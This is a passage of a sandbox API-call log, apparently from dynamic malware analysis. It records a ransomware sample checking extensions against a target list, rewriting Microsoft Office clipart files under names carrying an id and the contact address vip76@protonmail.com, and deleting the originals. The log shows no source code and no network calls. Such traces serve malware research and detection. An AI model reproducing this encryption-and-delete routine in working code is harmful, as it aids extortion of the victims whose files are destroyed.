	[0084.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.355] lstrlenW (lpString=".doc") returned 4
	[0084.355] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.355] lstrlenW (lpString=".docx") returned 5
	[0084.355] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.355] lstrlenW (lpString=".pdf") returned 4
	[0084.355] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.355] lstrlenW (lpString=".xls") returned 4
	[0084.355] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.355] lstrlenW (lpString=".xlsx") returned 5
	[0084.355] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.355] lstrlenW (lpString=".ppt") returned 4
	[0084.355] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.356] lstrlenW (lpString=".zip") returned 4
	[0084.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.356] lstrlenW (lpString=".rar") returned 4
	[0084.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.356] lstrlenW (lpString=".bz2") returned 4
	[0084.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.356] lstrlenW (lpString=".7z") returned 3
	[0084.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.356] lstrlenW (lpString=".dbf") returned 4
	[0084.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.356] lstrlenW (lpString=".1cd") returned 4
	[0084.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68
	[0084.356] lstrlenW (lpString=".jpg") returned 4
	[0084.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.356] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.356] lstrlenW (lpString="DD01169_.WMF") returned 12
	[0084.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.356] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2020) returned 1
	[0084.357] CloseHandle (hObject=0x378) returned 1
	[0084.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220
	[0084.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.357] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.357] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.357] GetLastError () returned 0x0
	[0084.357] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0084.359] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0084.360] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.360] WriteFile (in: hFile=0x338, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.360] SetEndOfFile (hFile=0x338) returned 1
	[0084.360] CloseHandle (hObject=0x338) returned 1
	[0084.360] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.360] SetEndOfFile (hFile=0x378) returned 1
	[0084.897] CloseHandle (hObject=0x378) returned 1
	[0084.905] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1
	[0084.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.922] lstrlenW (lpString=".doc") returned 4
	[0084.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.922] lstrlenW (lpString=".docx") returned 5
	[0084.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.923] lstrlenW (lpString=".pdf") returned 4
	[0084.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.923] lstrlenW (lpString=".xls") returned 4
	[0084.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.923] lstrlenW (lpString=".xlsx") returned 5
	[0084.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.923] lstrlenW (lpString=".ppt") returned 4
	[0084.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.923] lstrlenW (lpString=".zip") returned 4
	[0084.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.923] lstrlenW (lpString=".rar") returned 4
	[0084.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.923] lstrlenW (lpString=".bz2") returned 4
	[0084.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.923] lstrlenW (lpString=".7z") returned 3
	[0084.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.923] lstrlenW (lpString=".dbf") returned 4
	[0084.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.924] lstrlenW (lpString=".1cd") returned 4
	[0084.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.924] lstrlenW (lpString=".jpg") returned 4
	[0084.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.924] lstrlenW (lpString=".doc") returned 4
	[0084.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString=".docx") returned 5
	[0084.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.924] lstrlenW (lpString=".pdf") returned 4
	[0084.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString=".xls") returned 4
	[0084.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.924] lstrlenW (lpString=".xlsx") returned 5
	[0084.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.924] lstrlenW (lpString=".ppt") returned 4
	[0084.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.924] lstrlenW (lpString=".zip") returned 4
	[0084.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.924] lstrlenW (lpString=".rar") returned 4
	[0084.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString=".bz2") returned 4
	[0084.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString=".7z") returned 3
	[0084.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.924] lstrlenW (lpString=".dbf") returned 4
	[0084.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.924] lstrlenW (lpString=".1cd") returned 4
	[0084.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0084.925] lstrlenW (lpString=".jpg") returned 4
	[0084.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.925] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.925] lstrlenW (lpString="DD01434_.WMF") returned 12
	[0084.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.925] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=900) returned 1
	[0084.926] CloseHandle (hObject=0x378) returned 1
	[0084.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220
	[0084.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.926] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.926] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.926] GetLastError () returned 0x0
	[0084.926] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x384, lpOverlapped=0x0) returned 1
	[0084.928] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x390, lpOverlapped=0x0) returned 1
	[0084.929] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.929] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.929] SetEndOfFile (hFile=0x380) returned 1
	[0084.929] CloseHandle (hObject=0x380) returned 1
	[0084.929] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.929] SetEndOfFile (hFile=0x378) returned 1
	[0084.930] CloseHandle (hObject=0x378) returned 1
	[0084.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1
	[0084.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.930] lstrlenW (lpString=".doc") returned 4
	[0084.930] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.930] lstrlenW (lpString=".docx") returned 5
	[0084.930] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.931] lstrlenW (lpString=".pdf") returned 4
	[0084.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.931] lstrlenW (lpString=".xls") returned 4
	[0084.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.931] lstrlenW (lpString=".xlsx") returned 5
	[0084.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.931] lstrlenW (lpString=".ppt") returned 4
	[0084.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.931] lstrlenW (lpString=".zip") returned 4
	[0084.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.931] lstrlenW (lpString=".rar") returned 4
	[0084.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.931] lstrlenW (lpString=".bz2") returned 4
	[0084.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.931] lstrlenW (lpString=".7z") returned 3
	[0084.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.931] lstrlenW (lpString=".dbf") returned 4
	[0084.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.931] lstrlenW (lpString=".1cd") returned 4
	[0084.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.931] lstrlenW (lpString=".jpg") returned 4
	[0084.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.931] lstrlenW (lpString=".doc") returned 4
	[0084.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.931] lstrlenW (lpString=".docx") returned 5
	[0084.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.931] lstrlenW (lpString=".pdf") returned 4
	[0084.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.932] lstrlenW (lpString=".xls") returned 4
	[0084.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.932] lstrlenW (lpString=".xlsx") returned 5
	[0084.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.932] lstrlenW (lpString=".ppt") returned 4
	[0084.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.932] lstrlenW (lpString=".zip") returned 4
	[0084.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.932] lstrlenW (lpString=".rar") returned 4
	[0084.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.932] lstrlenW (lpString=".bz2") returned 4
	[0084.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.932] lstrlenW (lpString=".7z") returned 3
	[0084.932] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.932] lstrlenW (lpString=".dbf") returned 4
	[0084.932] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.932] lstrlenW (lpString=".1cd") returned 4
	[0084.932] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0084.932] lstrlenW (lpString=".jpg") returned 4
	[0084.932] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.932] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0084.932] lstrlenW (lpString="DD01585_.WMF") returned 12
	[0084.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.933] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=2524) returned 1
	[0084.933] CloseHandle (hObject=0x378) returned 1
	[0084.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220
	[0084.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0084.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.933] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.933] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.933] GetLastError () returned 0x0
	[0084.934] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x9dc, lpOverlapped=0x0) returned 1
	[0084.935] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x9e0, lpOverlapped=0x0) returned 1
	[0084.936] ReadFile (in: hFile=0x378, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.936] WriteFile (in: hFile=0x380, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.936] SetEndOfFile (hFile=0x380) returned 1
	[0084.936] CloseHandle (hObject=0x380) returned 1
	[0084.936] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.936] SetEndOfFile (hFile=0x378) returned 1
	[0084.937] CloseHandle (hObject=0x378) returned 1
	[0084.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0084.937] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1
	[0084.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.938] lstrlenW (lpString=".doc") returned 4
	[0084.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.938] lstrlenW (lpString=".docx") returned 5
	[0084.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.938] lstrlenW (lpString=".pdf") returned 4
	[0084.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.938] lstrlenW (lpString=".xls") returned 4
	[0084.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.938] lstrlenW (lpString=".xlsx") returned 5
	[0084.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.938] lstrlenW (lpString=".ppt") returned 4
	[0084.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.938] lstrlenW (lpString=".zip") returned 4
	[0084.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.938] lstrlenW (lpString=".rar") returned 4
	[0084.938] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.938] lstrlenW (lpString=".bz2") returned 4
	[0084.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.938] lstrlenW (lpString=".7z") returned 3
	[0084.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.938] lstrlenW (lpString=".dbf") returned 4
	[0084.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.939] lstrlenW (lpString=".1cd") returned 4
	[0084.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0084.939] lstrlenW (lpString=".jpg") returned 4
	[0084.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
